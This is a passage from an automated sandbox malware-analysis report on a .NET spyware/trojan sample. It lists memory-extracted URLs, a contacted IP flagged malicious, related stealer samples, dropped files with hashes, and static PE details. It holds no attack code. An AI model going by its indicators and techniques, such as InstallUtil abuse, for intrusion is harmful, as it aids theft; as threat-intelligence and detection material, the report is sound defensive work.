http://tempuri.org/Entity/Id7ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	InstallUtil.exe, 00000005.00000002.2924637749.0000000003B25000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039D2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003B09000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B61000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002B4D000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.00000000039B6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.0000000002BBF000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2924637749.0000000003945000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id22ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id16ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19ResponseD	InstallUtil.exe, 00000005.00000002.2914702176.0000000003010000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.ao	InstallUtil.exe, 00000005.00000002.2913391041.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/2152978/23354	w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006B89000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788551771.0000000006C70000.00000004.00000800.00020000.00000000.sdmp, w74ALjpS5h.exe, 00000000.00000002.2788014474.0000000006100000.00000004.08000000.00040000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	InstallUtil.exe, 00000005.00000002.2914702176.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id3Response	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	InstallUtil.exe, 00000005.00000002.2914702176.00000000028F1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.164.163.18	unknown	United Kingdom		14076	UNASSIGNED	false
109.120.178.235	unknown	Russian Federation		30968	INFOBOX-ASInfoboxruAutonomousSystemRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436182
Start date and time:	2024-05-03 23:26:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	w74ALjpS5h.exe renamed because original name is a hash value
Original Sample Name:	9DB696D411E33A3A68DB18B8A1680112.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/9@0/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 94% Number of executed functions: 140 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample based on specific behavior Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7408 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: w74ALjpS5h.exe

Simulations

Behavior and APIs

Time	Type	Description
23:26:49	API Interceptor	17x Sleep call for process: w74ALjpS5h.exe modified
23:28:44	API Interceptor	23x Sleep call for process: powershell.exe modified
23:28:58	API Interceptor	18x Sleep call for process: InstallUtil.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNASSIGNED	STATEMENT OF ACCOUNT.exe	Get hash	malicious	AgentTesla	Browse	131.226.2.60
	GX_MV Sunshine 07483032r_pdf.exe	Get hash	malicious	AgentTesla	Browse	131.226.2.60
	http://www.multipli.com.au	Get hash	malicious	Unknown	Browse	199.67.84.76
	saq4WWKA5B.elf	Get hash	malicious	Mirai	Browse	156.134.188.57
	https://workdrive.zohoexternal.com/external/2c63de0fdd4c89e3b1929ff054753df29586989db597aec11b0424839e9707da/download	Get hash	malicious	Unknown	Browse	199.67.84.73
	cvoBQP1Lxo.elf	Get hash	malicious	Mirai	Browse	192.81.70.60
	shipping doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	131.226.2.60
	gVPlpwuoVV.elf	Get hash	malicious	Mirai	Browse	103.135.199.90
	EmbuehhoaF.elf	Get hash	malicious	Unknown	Browse	204.76.203.5
	R3KiW484zf.elf	Get hash	malicious	Unknown	Browse	204.76.203.101
INFOBOX-ASInfoboxruAutonomousSystemRU	b5POExR7HI.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.151.42
	b5POExR7HI.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.151.42
	file.exe	Get hash	malicious	Meduza Stealer	Browse	77.221.151.32
	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	77.221.151.42
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	77.221.151.47
	file.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	77.221.151.42
	file.exe	Get hash	malicious	PureLog Stealer	Browse	77.221.151.42
	2tzdfCKa8X.exe	Get hash	malicious	RedLine	Browse	77.221.149.0
	http://myidealwedding.com.au	Get hash	malicious	BitRAT, HTMLPhisher	Browse	77.221.151.31
	SOLkM5sa4R.exe	Get hash	malicious	Phemedrone Stealer	Browse	77.221.151.42

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Oct 4 11:02:27 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.4576031045339435
Encrypted:	false
SSDEEP:	48:8S5dqTWSxRYrnvPdAKRkdAGdAKRFdAKR/U:8S+e
MD5:	CF797D5CAE4E3DA15938CE5DD56C8FD1
SHA1:	D2BD0CBFD8D1683FC94E455AEA7AAAF717193524
SHA-256:	1EDF13BA2B16B41ED5C61AC41FBCAE57115E21314F632073A6CB87FBFC40C1C1
SHA-512:	52DDD8981693F48261F602DA616740C4DFB0CBB765F59A1133DC09240477341B22370349F0114434C364A39B4B8189D0360B6DC0B31FFBD2868ADB76389E6990
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ......,..............q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....DW.V..PROGRA~1..t......O.IDW5`....B...............J.....i...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VDWN`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VDWN`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VDWN`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VDWH`..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\w74ALjpS5h.exe.log

Download File

Process:	C:\Users\user\Desktop\w74ALjpS5h.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	5.363036002058323
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3owH8tHo6hAHKzeRHKx1qHj
MD5:	F1F711CFAECF73CB41019220224BA3D7
SHA1:	3FBBB184F8CB609B0854E6966021CF94CD684C8A
SHA-256:	B8374EA1B272A4A1D9B698BB7E4589191563DE7AEB03AB4B1BD56A09A5F5C5B1
SHA-512:	CE6358F1D7E440C0873DFD65C9DC14804749CA41DB3582A59314C01FF10CD6A037A720777D6C14EC454EED400B2DB52CFBFC3F1954C16BFF207F76E9A4847ADF
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	5.411795559122885
Encrypted:	false
SSDEEP:	24:3K1yt4WSKco4KmZjKbmOIld6emZ9tYs4RPQoUEJ0gt/NK3R8UHiagsW:sy+WSU4xym/jmZ9tz4RIoUl8NWR8W+
MD5:	DCCDCB713555055CBD4A4C0247AC7550
SHA1:	2C7B04FBAA7DB52D59710CEAA26B52B292EDBD60
SHA-256:	545607BD0154C90AD510E5D3303A0EB8E9DC3E9E47DE7885CBE5AAAC9026C0D6
SHA-512:	38B03C73B9B62C5EB4B56CC9BE446A3CF05954DC20B61396E4C5D1DBE4AB10715025A00ECB1AD7B52BC7B1B9D19FC45AABB5646B7B4EF7DB63505637CB234EDF
Malicious:	false
Reputation:	low
Preview:	@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\TmpAD84.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpADD3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5zgmnrk.4nl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uey0ou21.kdq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1002\76b53b3ec448f7ccdda2063b15d2bfc3_9e146be9-c76a-4720-bcdb-53011b87bd06

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	0158FE9CEAD91D1B027B795984737614
SHA1:	B41A11F909A7BDF1115088790A5680AC4E23031B
SHA-256:	513257326E783A862909A2A0F0941D6FF899C403E104FBD1DBC10443C41D9F9A
SHA-512:	C48A55CC7A92CEFCEFE5FB2382CCD8EF651FC8E0885E88A256CD2F5D83B824B7D910F755180B29ECCB54D9361D6AF82F9CC741BD7E6752122949B657DA973676
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.7719467962335065
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	w74ALjpS5h.exe
File size:	7'680 bytes
MD5:	9db696d411e33a3a68db18b8a1680112
SHA1:	8ad3f5f7730ba7db2b656b3ea080e743115980e4
SHA256:	94f46a73df32470400d1fc25336146155321a04c4eec0f40cb8527db702499e3
SHA512:	c998e1070f4375121cbfc0bbf8421db5f5ef9891edb5610d4d50fcbd5222d0f33121f38b72730d038d63e092f24067b5b74b5c59b31cdcd97364c0812d08951b
SSDEEP:	96:bz7UDyrF4xhsty0BoaJt+lYn5euWY+tn4XgPPH6My3JK2VOf2dfeazNt:PSuF8hsty0qUt+lUeuHO+gn6My4q1
TLSH:	70F1C610A3E90737C97747769CF2A7620739F7409ACBCF2E2C8860471D2B3A58652B71
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....D-f.............................2... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40328a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x662D44C0 [Sat Apr 27 18:32:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
